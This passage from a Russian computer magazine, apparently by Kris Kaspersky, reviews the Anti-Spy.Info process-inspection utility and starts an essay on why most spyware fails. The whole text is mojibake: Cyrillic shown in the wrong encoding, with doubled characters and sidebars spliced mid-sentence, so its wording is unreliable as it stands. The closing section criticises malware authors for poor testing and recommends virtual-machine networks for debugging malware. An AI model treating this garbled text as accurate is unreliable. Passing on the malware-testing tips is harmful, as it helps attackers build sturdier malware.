íèè ñëåäóþùèõ êðèòåðèåâ:

— ÌÎÆÅÒ ÓÏÐÀÂËßÒÜ ÄÐÓÃÈÌÈ
ÏÐÎÃÐÀÌÌÀÌÈ (È ÂÅÄÜ
ÄÅÉÑÒÂÈÒÅËÜÍÎ ÌÎÆÅÒ);

— ÎÊÍÎ ÍÅ ÂÈÄÈÌÎ (À ÂÎÒ ÍÈ×ÅÃÎ 
ÏÎÄÎÁÍÎÃÎ — WMFHOTFIX.DLL ÍÅ ÈÌÅÅÒ
«ÑÂÎÅÃÎ» ÎÊÍÀ, ÍÎ ÎÒÎÁÐÀÆÀÅÒÑß 
ÍÀ ÂÑÅ GUI-ÏÐÈËÎÆÅÍÈß, ÒÀÊ ×ÒÎ ÎÊÎÍ
Ó ÍÅÅ ÏÐÅÄÎÑÒÀÒÎ×ÍÎ);

— ÍÅÒ ÎÏÈÑÀÍÈß ÏÐÎÃÐÀÌÌÛ, ÒÎ ÅÑÒÜ
ÍÅ ÇÀÏÎËÍÅÍ ÑÎÎÒÂÅÒÑÒÂÓÞÙÈÉ 
ÐÀÇÄÅË ÐÅÑÓÐÑÎÂ, ×ÒÎ ÑÎÂÑÅÌ 
ÍÅÕÀÐÀÊÒÅÐÍÎ ÄËß ÊÎÌÌÅÐ×ÅÑÊÈÕ
ÏÐÎÄÓÊÒÎÂ, ÍÎ ×ÀÑÒÎ ÑËÓ×ÀÅÒÑß 
Ñ ÂÈÐÓÑÀÌÈ È ÏÐÎÃÐÀÌÌÀÌÈ, 
ÍÀÏÈÑÀÍÍÛÌÈ ÍÀ ÑÊÎÐÓÞ ÐÓÊÓ;

— ÝÒÎ ÍÅ ÑÈÑÒÅÌÍÛÉ ÔÀÉË WINDOWS;

— ÎÒÑÓÒÑÒÂÓÅÒ ÄÅÒÀËÜÍÎÅ ÎÏÈÑÀÍÈÅ
(×ÒÎ ÅÙÅ ÇÀ ÄÅÒÀËÜÍÎÅ ÎÏÈÑÀÍÈÅ?!).
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Ðåàêöèÿ Anti-Spy.Info íà âñòðå÷ó ñ íàñòîÿùèì âèðóñîì

«ÂÅÑÜ ÐÛÍÎÊ ÀÍÒÈÂÈÐÓÑÎÂ — ÝÒÎ ÎÃÐÎÌÍÛÉ ÌÛËÜÍÛÉ ÏÓÇÛÐÜ,
ÊÎÒÎÐÛÉ ÄÅÐÆÈÒÑß ÍÀ ÑÒÐÀÕÅ ÏÎËÜÇÎÂÀÒÅËÅÉ».
ÈÃÎÐÜ ÄÀÍÈËÎÂ, ÐÀÇÐÀÁÎÒ×ÈÊ ÀÍÒÈÂÈÐÓÑÀ DR.WEB.
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Â îáùåì, êàê áû ñêàçàëè â ñóäå, ìîòèâû íåóáåäè-
òåëüíû, è çà îòñóòñòâóåì ÿâíûõ äîêàçàòåëüñòâ
ïîäñóäèìûé îòïðàâëÿåòñÿ íà ñâîáîäó. Íó, èëè äå-
ëî íàïðàâëÿåòñÿ íà äîñëåäîâàíèå...

Â íåáîëüøîì îêíå, ðàñïîëîæåííîì â ïðàâîì
íèæíåì óãëó, Anti-Spy.Info ïîêàçûâàåò âñå òåêñòî-
âûå ñòðîêè (â ôîðìàòå ASCII), íàéäåííûå â ïðî-
ãðàììå, ñðåäè êîòîðûõ ïðèñóòñòâóþò «Copyright
2006 by Ilfak Guilfanov, ighexblog.com» è «http//ww.hex-
blog.com». Ïî íèì íåòðóäíî äîãàäàòüñÿ, ÷òî ýòî çà-
ïëàòêà îò äûðû â îáðàáîò÷èêå wmf-ôàéëîâ, âûïó-
ùåííàÿ ëåãåíäàðíûì ñîçäàòåëåì IDA Pro — Èëü-
ôàêîì Ãèëüôàíîâûì. Òå æå, êîìó ýòî èìÿ íè 
î ÷åì íå ãîâîðèò, ìîãóò âîñïîëüçîâàòüñÿ ñëåäóþùåé
óíèêàëüíîé âîçìîæíîñòüþ — ïîèñêîì â áàçå îïèñà-
íèé ôàéëîâ. Ïðîñòî ùåëêàåì ïî ñòðîêå «Google it» â
êîíòåêñòîì ìåíþ — è ïðîãðàììà ïåðåáðàñûâàåò
íàñ íà ôîðóì ïîääåðæêè http://www.neuber.com/antis-
py/file, ãäå ïîëüçîâàòåëè ìîãóò îñòàâëÿòü ñâîè êîì-
ìåíòàðèè îòíîñèòåëüíî òîé èëè èíîé ïðîãðàììû.

Êîììåíòàðèè âñòðå÷àþòñÿ ñàìûå ðàçíûå: îò
òåõíè÷åñêè îáîñíîâàííûõ äî îòêðîâåííî ïèîíåð-
ñêèõ. Òåì íå ìåíåå, íåêîòîðîå ïðåäñòàâëåíèå î

ñèòóàöèè îíè âñå-òàêè äàþò, îñîáåííî åñëè ïîëü-
çîâàòåëè îñòàâëÿþò ññûëêè íà àâòîðèòåòíûå èñ-
òî÷íèêè. Â íàøåì ñëó÷àå äàííûì ôàéëîì çàèíòå-
ðåñîâàëèñü 193 ïîëüçîâàòåëÿ, 4 èç êîòîðûõ îöå-
íèëè åãî êàê áåçâðåäíûé, 2 — êàê íåîïàñíûé è
åùå 2 ïðåäïî÷ëè ñîõðàíèòü íåéòðàëèòåò. 7 îñòà-
âëåííûõ êîììåíòàðèåâ â ïîëíîé ñîëèäàðíîñòè
ñâèäåòåëüñòâóþò, ÷òî íèêàêîé ýòî íå âèðóñ, à íå-
çàâèñèìàÿ çàïëàòêà äëÿ Windows.

À òåïåðü ðàçáåðåìñÿ ñ äèíàìè÷åñêîé áè-
áëèîòåêîé SSSensor.dll, âçÿâøåéñÿ íåïîíÿòíî îò-
êóäà, íå èìåþùåé îïèñàíèÿ, çàïèñûâàþùåé êëà-
âèàòóðíûé ââîä («function: record input» â îêíå
«Properties», ðàñïîëîæåííûì âíèçó ïîñåðåäèíå) è
íå âêëþ÷àþùåé â ñåáÿ íèêàêèõ îñìûñëåííûõ òåê-
ñòîâûõ ñòðîê, íî çàòî èìïîðòèðóþùåé «èíòåðåñ-
íóþ» API-ôóíêöèþ UnhookWindowsHookExgSetWin-
dowsHookExA, ïîçâîëÿþùóþ âíåäðÿòüñÿ â ÷óæèå
ïðîãðàììû è ñëåäèòü çà íèìè, â ðåçóëüòàòå ÷åãî An-
ti-Spy.Info îöåíèëà ðåéòèíã îïàñíîñòè â 82% (òî åñòü
ïîòåíöèàëüíî îïàñíàÿ). Ùåëêàåì ïî «Google it»,
èäåì íà ôîðóì è âèäèì, ÷òî 678 ïîëüçîâàòåëåé, îá-
íàðóæèâøåå ó ñåáÿ ýòîò ôàéë, ïðèäåðæèâàþòñÿ
ðàçëè÷íûõ òî÷åê çðåíèÿ íà ïðåäìåò åãî ïðîèñõîæ-
äåíèÿ. Êòî-òî óòâåðæäàåò, ÷òî îí âõîäèò â ñîñòàâ àí-
òèâèðóñà Panda, êòî-òî — â àíòèâèðóñ Bullguard,
åùå âñòðå÷àþòñÿ óïîìèíàíèÿ ïåðñîíàëüíûõ áðàí-
äìàóýðîâ VCOM è SyGate Personal Firewall. Çíàÿ,
÷òî ó íàñ óñòàíîâëåí ïîñëåäíèé, çàãëÿíóëè â åãî äè-
ñòðèáóòèâ, óâèäåëè òàì SSSensor.dll è óñïîêîèëèñü.

Ñóäÿ ïî âñåìó, ýòîò ìîäóëü, âûïóùåííûé íå-
çàâèñèìîé êîìïàíèé, ïîçâîëÿåò îòñëåæèâàòü ïî-
ÿâëåíèå Õðàíèòåëÿ Ýêðàíà è øèðîêî èñïîëüçóåò-
ñÿ îñòàëüíûìè êîìïàíèÿìè â ñâîèõ ïðîäóêòàõ. Íå

èñêëþ÷åíî, ÷òî îí «ïîçàèìñòâîâàí» èç êàêîãî-íè-
áóäü rootkit'à (íà ýòó ìûñëü íàâîäèò ñòèëü åãî íà-
ïèñàíèÿ). Íî êàê áû òàì íè áûëî, îí ñîâåðøåííî
áåçîïàñåí è ìîæíî ñìåëî ùåëêíóòü ïî ïóíêòó
«Comment» êîíòåêñòíîãî ìåíþ è äîáàâèòü ñâîé
ñîáñòâåííûé êîììåíòàðèé, ÷òîáû íå ïðèõîäèëîñü
äåðæàòü âñþ èíôîðìàöèþ â ãîëîâå (ïðè áîëüøîì
êîëè÷åñòâå ïîäîçðèòåëüíûõ îáúåêòîâ ýòî âåñüìà
ïðîáëåìàòè÷íî). Âìåñòå ñ êîììåíòàðèåì òàêæå
ìîæíî óêàçàòü è ðåéòèíã áåçîïàñíîñòè (â äàííîì
ñëó÷àå «harmless» — áåçâðåäíàÿ).

Ïîñëå ýòîãî SSSensor.dll ïåðåñêî÷èò â ñà-
ìûé íèç ñïèñêà è íå áóäåò íàñ îòâëåêàòü (ïåðåñêî-
÷èò ïîñëå ïåðåçàïóñêà ïðîãðàììû èëè íàæàòèè íà
êîëîíêó Rating äëÿ ïåðåñîðòèðîâêè òàáëèöû ïî
ñòåïåíè îïàñíîñòè, íî ýòî óæå äåòàëè).

Áàçà «÷åñòíûõ» ïðîãðàìì — âîò ãëàâíîå ïðå-
èìóùåñòâî Anti-Spy.Info ïåðåä êîíêóðåíòàìè. Ñ âè-
ðóñàìè è ÷åðâÿìè, ïðîèçâîëüíûì îáðàçîì ìåíÿþ-
ùèìè ñâîè èìåíà, äåëà îáñòîÿò çíà÷èòåëüíî ñëîæ-
íåå. Ïðîäåìîíñòðèðóåì ýòî íà ïðèìåðå øèðîêî èç-
âåñòíîãî âèðóñà Win32.HLLM.Beagle, çàíèìàþùåãî
ïåðâóþ ïîçèöèþ â õèò-ïàðàäå ó Äàíèëîâà.

Anti-Spy.Info îïðåäåëèëà, ÷òî ïðîöåññ Bea-
gle.exe ñ èêîíêîé, ìàñêèðóþùèéñÿ ïîä ñàìîðàñïàêî-
âûâàþùèéñÿ RAR-àðõèâ, íå èìååò íè îêíà, íè îïè-
ñàíèÿ, îäíàêî ïðèñâîèëà åé äîâîëüíî íèçêèé ðåé-
òèíã îïàñíîñòè — âñåãî 57%. À âîò ôàéë hldrrr.exe,
àâòîìàòè÷åñêè ñîçäàâàåìûé âèðóñîì ïðè ïåðâîì
çàïóñêå â êàòàëîãå WINNT\System32 è ïðîïèñàííûé
â âåòâÿõ ðååñòðà, îòâåòñòâåííûõ çà àâòîìàòè÷åñêóþ
çàãðóçêó (HKCU\Software\Microsoft\Windows\Curren-
tVersion\Run è HKLM\Software\Microsoft\Windows\Cur-
rentVersion\Run), ïîëó÷èë âñåãî 47% («seems har-
mless» ïîõîæà íà áåçâðåäíóþ).

Ëàäíî, çàäâèíåì â ñòîðîíó èñêóññòâåííûé
èíòåëëåêò ñî âñåìè åãî «ðåéòèíãàìè» è ïîéäåì íà
ôîðóì, ãäå ìû áûñòðî îáíàðóæèì, ÷òî ôàéëîì ñ
òàêèì èìåíåì íå èíòåðåñîâàëñÿ íè îäèí ïîëüçî-
âàòåëü. Âîò òàê íîìåð! Ïðàêòèêà ïîêàçûâàåò, ÷òî
ïðàêòè÷åñêè ëþáîé «÷åñòíûé» ïðîãðàììíûé ïà-
êåò (äàæå ìàëîðàñïðîñòðàíåííûé) áûñòðî ïîïà-
äàåò â áàçó Anti-Spy.Info, à åñëè òàì åãî íåò, òî ñ
îïðåäåëåííîé ñòåïåíüþ âåðîÿòíîñòè ìîæíî
óòâåðæäàòü, ÷òî ýòî âèðóñ èëè ÷òî-òî î÷åíü íåõî-
ðîøåå, ïîýòîìó åãî ëó÷øå óäàëèòü.

Îñâîáîæäàÿ ïîëüçîâàòåëÿ îò ðó÷íîé ðàáî-
òû, Anti-Spy.Info ïîääåðæèâàåò ñâîåîáðàçíûé «êà-
ðàíòèí». Ïðè íàæàòèè íà êíîïêó «Óäàëèòü» âûäà-
åòñÿ çàïðîñ, òî ëè ïðîñòî ìîæíî çàâåðøèòü äàí-
íûé ïðîöåññ áåç êàêèõ áû òî íè áûëî äîïîëíè-
òåëüíûõ äåéñòâèé èëè ïåðåìåñòèòü åãî â îòäåëü-
íóþ ïàïêó, ïîïóòíî äåçàêòèâèðóÿ êëþ÷è àâòîçà-
ãðóçêè. Åñëè, êîíå÷íî, Anti-Spy.Info ñóìåëà îïðå-
äåëèòü, êàêèì ïóòåì ãðóçèòñÿ ïðîãðàììà. Ê òîìó
æå ñëåäóåò ïîìíèòü, ÷òî Windows áëîêèðóåò óäà-
ëåíèå àêòèâíûõ ïðîöåññîâ, íî äîïóñêàåò èõ ïåðå-
èìåíîâàíèå â ïðåäåëàõ îäíîãî äèñêà. Ïðîñòî ïå-
ðåèìåíóé hldrrr.exe â hldrrr.ex_ — è, íåçàâèñèìî îò
ñïîñîáà çàïóñêà, îí óæå íèêîãäà íå ïîëó÷èò óïðà-
âëåíèÿ! Èñêëþ÷åíèå ñîñòàâëÿþò âèðóñû, ñëåäÿ-

Âíåøíèé âèä ïðîãðàììû Anti-Spy.Info

Àíòèâèðóñ X-Safe IV — äðåâíèé, êàê ìàìîíò, è íûíå
ðàáîòàþùèé òîëüêî ïîä ýìóëÿòîðîì
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ùèå çà ñâîèì ôàéëîì-íîñèòåëåì è àâòîìàòè÷å-
ñêè âîññòàíàâëèâàþùèå åãî â ñëó÷àå óäàëåíèÿ.

Äëÿ èçâëå÷åíèÿ ôàéëà èç êàðàíòèíà (åñëè
ïî îøèáêå áûë óäàëåí êîìïîíåíò ÷åñòíîãî ïðèëî-
æåíèÿ, ÷òî íàðóøèëî åãî ðàáîòó), äîñòàòî÷íî íà-
æàòü íà êíîïêó «Quarantine», âûáðàòü îáúåêò äëÿ
âîññòàíîâëåíèÿ è ñêàçàòü «Restore». À äëÿ îêîí-
÷àòåëüíîãî óäàëåíèÿ èç êàðàíòèíà — «Delete».

Ê ñâîåìó ñòûäó, âñþ èíôîðìàöèþ î ñîñòîÿ-
íèè êàðàíòèíà Anti-Spy.Info õðàíèò â ðååñòðå. Òî
åñòü, åñëè ïîìåñòèòü â êàðàíòèí êàêîé-íèáóäü
æèçíåííî âàæíûé ñèñòåìíûé êîìïîíåíò, áåç êî-
òîðîãî Windows íå çàãðóçèòñÿ, ìû óæå íå ñìîæåì
çàïóñòèòü Anti-Spy.Info, ÷òîáû âåðíóòü âñå îáðàò-
íî. Ïðàâèëüíûì ðåøåíèåì áûëî áû õðàíèòü èí-
ôîðìàöèþ â îáûêíîâåííîì äèñêîâîì ôàéëå, òîã-
äà, çàãðóçèâøèñü ñ Windows PE, Barn PE èëè ëþ-
áîãî äðóãîãî Live CD, ìû ñìîãëè áû çàïóñòèòü Anti-
Spy.Info, óêàçàòü åé íà êàðàíòèííûé ôàéë è ïðîèç-
âåñòè îòêàò, à òàê... êàðàíòèí ïðåâðàùàåòñÿ â ðàç-
ðóøèòåëüíîå îðóæèå, êîòîðîå ìîæíî äîâåðèòü
òîëüêî óìåëûì ðóêàì ìîðñêèõ ïåõîòèíöåâ.

Äðóãîé óíèêàëüíîé îñîáåííîñòüþ Anti-Spy.In-
fo ÿâëÿåòñÿ óìåíèå îòñëåæèâàòü êîìïîíåíòû, çà-
ãðóæàþùèåñÿ âìåñòå ñ IE, êîòîðûå íåïîñðåäñòâåí-
íî íå îòîáðàæàþòñÿ â Äèñïåò÷åðå Çàäà÷, à ìíîãèå
÷åðâè ðàñïðîñòðàíÿþòñÿ èìåííî òàê! Âñåì íåñòàí-
äàðòíûì IE-êîìïîíåíòàì Anti-Spy.Info ïðèñâàèâàåò
äîâîëüíî âûñîêèé óðîâåíü îïàñíîñòè (ïîðÿäêà
70%), äàæå åñëè îíè õîðîøî èçâåñòíû: Fresh
Download Catcher Module, ReGetApi Module, Adobe
Acrobat IE Helper Version X for ActiveX è ò.ä. Î÷åíü
ïðèÿòíî, ÷òî ìîäóëè ìîæíî îòêëþ÷àòü, òàê êàê ñàì

IE ýòîãî íå ïîçâîëÿåò. È õîòÿ, íà÷èíàÿ ñ 5-é âåðñèè,
ïîÿâèëàñü âîçìîæíîñòü îòêëþ÷èòü âñå íåøòàòíûå
ìîäóëè öåëèêîì, ýòî ïðîáëåìû íå ðåøàåò.

Âïîëíå òèïè÷íàÿ ñèòóàöèÿ: ïîñëå óñòàíîâêè
ìåíåäæåðà çàêà÷åê Fresh Download ïîä 4-ì IE âñå
ðàáîòàëî íîðìàëüíî, âïëîòü äî ïåðåõîäà íà 5-óþ
âåðñèþ, êîòîðàÿ ñðàçó æå íà÷àëà ïàäàòü ïðè çàïó-
ñêå áåç âîïðîñîâ è îáúÿñíåíèé. Ïðè îòêëþ÷åíèè
âñåõ ìîäóëåé ïàäåíèÿ ïðåêðàùàëèñü, íî çà÷åì IE
áåç ìîäóëåé? Âîçâðàùàåì ìîäóëè îáðàòíî, áåðåì
â ëàïû Anti-Spy.Info è ìåòîäîì ïîî÷åðåäíîãî îòêëþ-
÷åíèÿ çà íåñêîëüêî ìèíóò íàõîäèì, êòî âèíîâàò.

äèàãíîç. Anti-Spy.Info — ïðåêðàñíàÿ óòèëèòà,
ïîçâîëÿþùàÿ áûñòðî íàõîäèòü çëîâðåäíûå (èëè
íåêîððåêòíî ðàáîòàþùèå) ïðîãðàììû, ñ âîçìîæ-
íîñòüþ âðåìåííîãî èëè ïîëíîöåííîãî óäàëåíèÿ èõ
èç ñèñòåìû. Êîíå÷íî, â îòëè÷èè îò àíòèâèðóñîâ,
ðàáîòàþùèõ â ïîëíîñòüþ àâòîìàòè÷åñêîì ðåæè-
ìå, îíà òðåáóåò îò ïîëüçîâàòåëÿ äîñòàòî÷íî âûñî-
êîé êâàëèôèêàöèè è ïîòîìó íå ìîæåò áûòü ðåêî-
ìåíäîâàíà, íàïðèìåð, ñåêðåòàðøå.

Ê òîìó æå, îíà íå çàìåíÿåò, à äîïîëíÿåò àí-
òèâèðóñû, ïîñêîëüêó ñëåäèò ëèøü çà àêòèâíûìè
(òî åñòü óæå çàïóùåííûìè) ïðîãðàììàìè, íî íè-
÷åãî íå ìîæåò ñêàçàòü î ôàéëå, òîëüêî ÷òî ïîëó-
÷åííîì èç Ñåòè. Åùå îíà íå ñïîñîáíà îáíàðóæè-
âàòü ñêðûòûå ôàéëû è ïðîöåññû, ìàñêèðóþùèåñÿ
íà óðîâíå ÿäðà îïåðàöèîííîé ñèñòåìû, òî åñòü ro-
otkit'û, ÷èñëî êîòîðûõ íåóêëîííî ðàñòåò. 

Íî è íå ñòîèò òðåáîâàòü îò ìàëåíüêîé óòèëèòû
ðåøåíèÿ âñåõ ñâîèõ çàäà÷. Ê çàùèòå íåîáõîäèìî
ïîäõîäèòü êîìïëåêñíî, èñïîëüçóÿ øèðîêèé ñïåêòð
èíñòðóìåíòîâ. È Anti-Spy.Info — â òîì ÷èñëå

AVP íå ñìîã ðàñïîçíàòü íîâóþ ìîäèôèêàöèþ Trojan-Downloader.Win32.Bagle

äèàãíîç

ÒÎ, ×ÒÎ ÑÅÉ×ÀÑ ÏÐÎÈÑÕÎÄÈÒ 
ÍÀ ÐÛÍÊÅ, ÏÎ ÑËÎÂÀÌ ÈÃÎÐß
ÄÀÍÈËÎÂÀ, ÂÎÎÁÙÅ ÍÅ ÏÎÄÄÀÅÒÑß
ÍÈÊÀÊÎÌÓ ÎÏÈÑÀÍÈÞ.

«ÇÄÅÑÜ ÑÅÃÎÄÍß ÏÐÈÑÓÒÑÒÂÓÞÒ
ÏÐÎÃÐÀÌÌÍÛÅ ÏÐÎÄÓÊÒÛ, ÊÎÒÎÐÛÅ
ÏÐÎÑÒÎ ÒÅÕÍÎËÎÃÈ×ÅÑÊÈ ÍÅ ÌÎÃÓÒ
ÍÀÕÎÄÈÒÜÑß Â ÑÒÀÍÅ ÀÍÒÈÂÈÐÓÑÎÂ,
ÏÎÒÎÌÓ ×ÒÎ ÏÎ ÑÂÎÅÌÓ ÓÐÎÂÍÞ, 
ÅÑËÈ ÃÎÂÎÐÈÒÜ ÓÒÐÈÐÎÂÀÍÍÎ, ÝÒÎ
ÏÐÎÄÓÊÖÈß ÕÎÐÎØÅÃÎ Ó×ÅÍÈÊÀ 
11-ÃÎ ÊËÀÑÑÀ. ÏÐÈ×ÅÌ ÂÑÅ ÎÍÈ
ÍÀÇÛÂÀÞÒ ÑÅÁß ËÈÄÅÐÀÌÈ. ÏÎÐÎÃ
ÂÑÒÓÏËÅÍÈß Â ÀÍÒÈÂÈÐÓÑÍÛÉ ÊËÓÁ
ÑÈËÜÍÎ ÑÍÈÇÈËÑß, È ÍÀ ÏÅÐÂÛÉ ÏËÀÍ
ÂÛØËÈ ÁÎÐÖÛ Ñ ÏÐÈÌÈÒÈÂÍÛÌÈ
ÑÊÐÈÏÒÎÂÛÌÈ ÂÈÐÓÑÀÌÈ. 

ÏÎËÜÇÎÂÀÒÅËÜ ÏÐÈÂÛÊ Ê ÏÎÑÒÎßÍÍÛÌ
ÑÒÐÀØÈËÊÀÌ: ÂÅÇÄÅ ÂÈÐÓÑÛ,
ÎÏÀÑÍÎÑÒÜ, ÂÑÅ ÏÐÎÑÒÎ ÊÈØÈÒ
ÒÐÎßÍÖÀÌÈ, ×ÅÐÂßÌÈ, ÊÎÒÎÐÛÅ 
ÒÀÊ È ÍÎÐÎÂßÒ ÓÊÐÀÑÒÜ Ó ÒÅÁß 
×ÒÎ-ÍÈÁÓÄÜ. ÏÎÄÎÁÍÀß ÀÒÌÎÑÔÅÐÀ
ÑÎÇÄÀÅÒÑß, ÏÐÅÆÄÅ ÂÑÅÃÎ,
ÍÅÊÎÒÎÐÛÌÈ ÂÅÍÄÎÐÀÌÈ. ÏÎÕÎÆÅ 
ÍÀ ÑÈÒÓÀÖÈÞ Ñ ÏÒÈ×ÜÈÌ ÃÐÈÏÏÎÌ:
ÃÐßÄÅÒ ÝÏÈÄÅÌÈß, ÂÑÅ — ÓÌÐÅÌ.
ÑÒÐÀØÍÎ. ÊÒÎ-ÒÎ ÁÜÅÒ ÒÐÅÂÎÃÓ, 
À ÊÒÎ-ÒÎ Ñ×ÈÒÀÅÒ, ×ÒÎ ÓÆÀÑÀ ÍÅÒ.
ÝÒÎ ÆÅ Î×ÅÍÜ ÂÛÃÎÄÍÎ — ÏÎÑÒÎßÍÍÎ
ÄÅÐÆÀÒÜ Â ÑÒÐÀÕÅ ÏÎËÜÇÎÂÀÒÅËß 
È ÂÍÓØÀÒÜ ÅÌÓ, ×ÒÎ ÒÎËÜÊÎ ÒÂÎÅ
ÐÅØÅÍÈÅ ÇÀÙÈÒÈÒ ÎÒ ÂÑÅÕ ÁÅÄ.
×ÅËÎÂÅÊ ÑÐÀÇÓ ÏÎÊÓÏÀÅÒ ÀÍÒÈÂÈÐÓÑ,
È ÑÓÙÅÑÒÂÓÅÒ ÂÅÐÎßÒÍÎÑÒÜ, ×ÒÎ ÎÍ
ÄÀÆÅ ÍÈÊÎÃÄÀ ÍÅ ÏÎËÓ×ÈÒ ÂÈÐÓÑ, 
À ÑÎÎÒÂÅÒÑÒÂÅÍÍÎ, ÍÅ ÓÇÍÀÅÒ, ÊÀÊ
ÐÀÁÎÒÀÅÒ ÏÐÈÎÁÐÅÒÅÍÍÛÉ ÏÐÎÄÓÊÒ...
ÏÐÈ ÝÒÎÌ ÑÈÑÒÅÌÀ ÌÈÔÎÂ È ÑËÓÕÎÂ
ÐÀÁÎÒÀÅÒ ÁÅÇÎÒÊÀÇÍÎ. ÊÒÎ-ÒÎ
ÑÊÀÇÀË, ×ÒÎ ÒÀÊÎÉ-ÒÎ ÀÍÒÈÂÈÐÓÑ
«ËÎÂÈÒ ÍÅ ÂÑÅ». È ÏÎØËÎ-ÏÎÅÕÀËÎ. 
È ÝÒÎ ÏÎÍßÒÍÎ. 

ÍÀÏÐÈÌÅÐ, ß ÂÛÁÈÐÀÞ ÄÂÅÐÍÎÉ
ÇÀÌÎÊ. ÊÓÏÈË ÑÀÌÛÉ ÄÎÐÎÃÎÉ,
ÑÀÌÛÉ ÒßÆÅËÛÉ, ÂÎÎÁÙÅ ÑÀÌÛÉ-
ÑÀÌÛÉ. À ÏÎÒÎÌ ÓÂÈÄÅË ÏÎ TV, ×ÒÎ 
ÎÍ ÝËÅÌÅÍÒÀÐÍÎ ÂÑÊÐÛÂÀÅÒÑß
ØÏÈËÜÊÎÉ ÇÀ 10 ÌÈÍÓÒ. À ÇÍÀ×ÈÒ, ÎÍ
ÍÈ×ÅÌ ÍÅ ËÓ×ØÅ ÇÀÌÊÀ ÇÀ 100 ÐÓÁËÅÉ.
ÒÀÊ ×ÒÎ ÃËÀÂÍÛÉ ÊÐÈÒÅÐÈÉ ÒÎËÜÊÎ
ÎÄÈÍ — ÊÀ×ÅÑÒÂÎ. ÍÎ ÅÃÎ, Ê
ÑÎÆÀËÅÍÈÞ, ÌÎÆÍÎ ÏÐÎÂÅÐÈÒÜ
ÒÎËÜÊÎ ÍÀ ÑÎÁÑÒÂÅÍÍÎÌ ÎÏÛÒÅ».

ccoommppaannyy..ddrrwweebb..ccoomm//pprreessss//iiggoorr++ddaanniillooffff++ccnneewwss++
iinntteerrvviieeww++mmaayy++22000066 —— ïîëíûé òåêñò èíòåðâüþ
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Ìàëâàðüþ çäåñü è äàëåå áóäåì íàçûâàòü âñå âðå-
äîíîñíîå ïðîãðàììíîå îáåñïå÷åíèå, çàíèìàþ-
ùååñÿ ðàçìíîæåíèåì, øïèîíàæåì, ðàññûëêîé
ðåêëàìû è äðóãèìè âåùàìè, ïðîòåêàþùèìè áåç
âåäîìà è ñîãëàñèÿ âëàäåëüöà â íåäðàõ åãî êîì-
ïüþòåðà. Äîñòèãíóâ ïèêà ñâîåãî òåõíîëîãè÷åñêî-
ãî ðàçâèòèÿ â ñåðåäèíå äåâÿíîñòûõ (êîãäà õàêåðû
äîäóìàëèñü äî stealth-âèðóñîâ è ïîëèìîðôèçìà),
â íàøè äíè ìàëâàðü ïðåäàëàñü ïîøëîìó ðàçâðà-
òó è ïðèøëà â óïàäîê. Â îñíîâíîì ïèøåòñÿ íà÷è-
íàþùèìè ïðîãðàììèñòàìè (ïðåíåáðåæèòåëüíî
íàçûâàåìûìè «ïèîíåðàìè»), òîð÷àùèìè íà ÿçû-
êàõ âûñîêîãî óðîâíÿ òèïà DELPHI èëè Visual Ba-
sic'à. Êàê ñëåäñòâèå — êà÷åñòâî ìàëâàðè óïàëî
íèæå ïëèíòóñà, è îñíîâíàÿ ìàññà øòàììîâ äîõ-
íåò åùå íà ñàìîì èçëåòå.

Ïðîáëåìà îòíþäü íå â ñàìîì DELPHI èëè Visual
Basic'å — ýòî âïîëíå äîñòîéíûå èíñòðóìåíòû. Ïðî-
áëåìà â òîì, ÷òî ïèîíåðû íå óìåþò èìè ïîëüçî-
âàòüñÿ, äðóæíî íàñòóïàÿ íà îäèí è òå æå ãðàáëè.

íåïðîòåñòèðîâàííûé êêîä. Ðåäêàÿ ïðîãðàììà
ïèøåòñÿ áåç îøèáîê, è íà÷èíàåò ðàáîòàòü ñ ïîë-
ïèíêà, òåì áîëåå, åñëè ðå÷ü èäåò î òàêèõ ñëîæ-
íûõ ìåõàíèçìàõ, êàê âèðóñû, ÷åðâè, øïèîíû, ïî
ñóòè ÿâëÿþùèõñÿ âûñîêî-àâòîíîìíûìè ðîáîòà-
ìè, âðîäå òåõ àïïàðàòîâ, ÷òî ëåòàþò íà Âåíåðó,
Þïèòåð èëè Ìàðñ. Îäíàæäû âûïóùåííàÿ â Ñåòü
çàðàçà ñòàíîâèòñÿ ïîëíîñòüþ ïðåäîñòàâëåííîé

ñàìîé ñåáå, è äîïóùåííûå â íåé îøèáêè èñïðà-
âèòü óæå íå óäàñòñÿ.

À çíà÷èò, òåñòèðîâàòü, òåñòèðîâàòü è åùå
ðàç òåñòèðîâàòü. Òàê âåäü íåò... Åñëè ìàëâàðü çà-
ïóñêàåòñÿ è íå ïàäàåò — ýòî óæå õîðîøî! Äðåâíèõ
(íûíå èñêîïàåìûõ) ïðîãðàììèñòîâ åùå ìîæíî
êàê-òî ïîíÿòü, ó íèõ áûë òîëüêî IBM PC â êîëè÷å-
ñòâå îäíà øòóêà è «êîñûå» ôëîïû â êà÷åñòâå ðå-
çåðâíûõ íîñèòåëåé. Íî äàæå â òàêèõ óñëîâèÿõ
ñîçäàâàëèñü ëåãåíäàðíûå âèðóñû òèïà OneHalf.
Ñåé÷àñ æå ëþáîé ìîæåò ïðè ïîìîùè VM Ware
óñòàíîâèòü íåñêîëüêî âåðñèé îïåðàöèîííûõ ñè-

ÎÑÍÎÂÍÛÅ ÓßÇÂÈÌÛÅ ÌÅÑÒÀ ÐßÄÎÂÎÃÎ SPYWARE
ÏÎÄÀÂËßÞÙÅÅ ÁÎËÜØÈÍÑÒÂÎ ×ÅÐÂÅÉ/ÂÈÐÓÑÎÂ/ØÏÈÎÍÎÂ ÐÎÆÄÀÞÒÑß ÁÅÑÏÎÌÎÙÍÛÌÈ
È ÀÁÑÎËÞÒÍÎ ÍÅÆÈÇÍÅÑÏÎÑÎÁÍÛÌÈ. ÂÛÇÛÂÀÒÜ ÊÐÓÏÍÛÅ ÝÏÈÄÅÌÈÈ ÓÄÀÅÒÑß ÄÀËÅÊÎ ÍÅ
ÂÑÅÌ. ÏÎ×ÅÌÓ? ÏÎÏÐÎÁÓÅÌ ÐÀÇÎÁÐÀÒÜÑß

Êðèñ Êàñïåðñêè àêà Ìûùúõ 
no e-mail

óóììððèè,, ííîî ññååéé÷÷ààññ



ñòåì (98, W2K, XP, Server 2003) è ñâÿçàòü èõ âèð-
òóàëüíîé ñåòüþ. Ëó÷øåãî ïîëèãîíà äëÿ îòëàäêè
ìàëâàðè, ïîæàëóé, è íå ïðèäóìàòü.

Ñðåäíåñòàòèñòè÷åñêèé ïîëüçîâàòåëü îáû÷-
íî çàìå÷àåò ìàëâàðü ëèøü òîãäà, êîãäà åãî ëþáè-
ìûé êîìïüþòåð íà÷èíàåò âåñòè ñåáÿ íå òàê, êàê
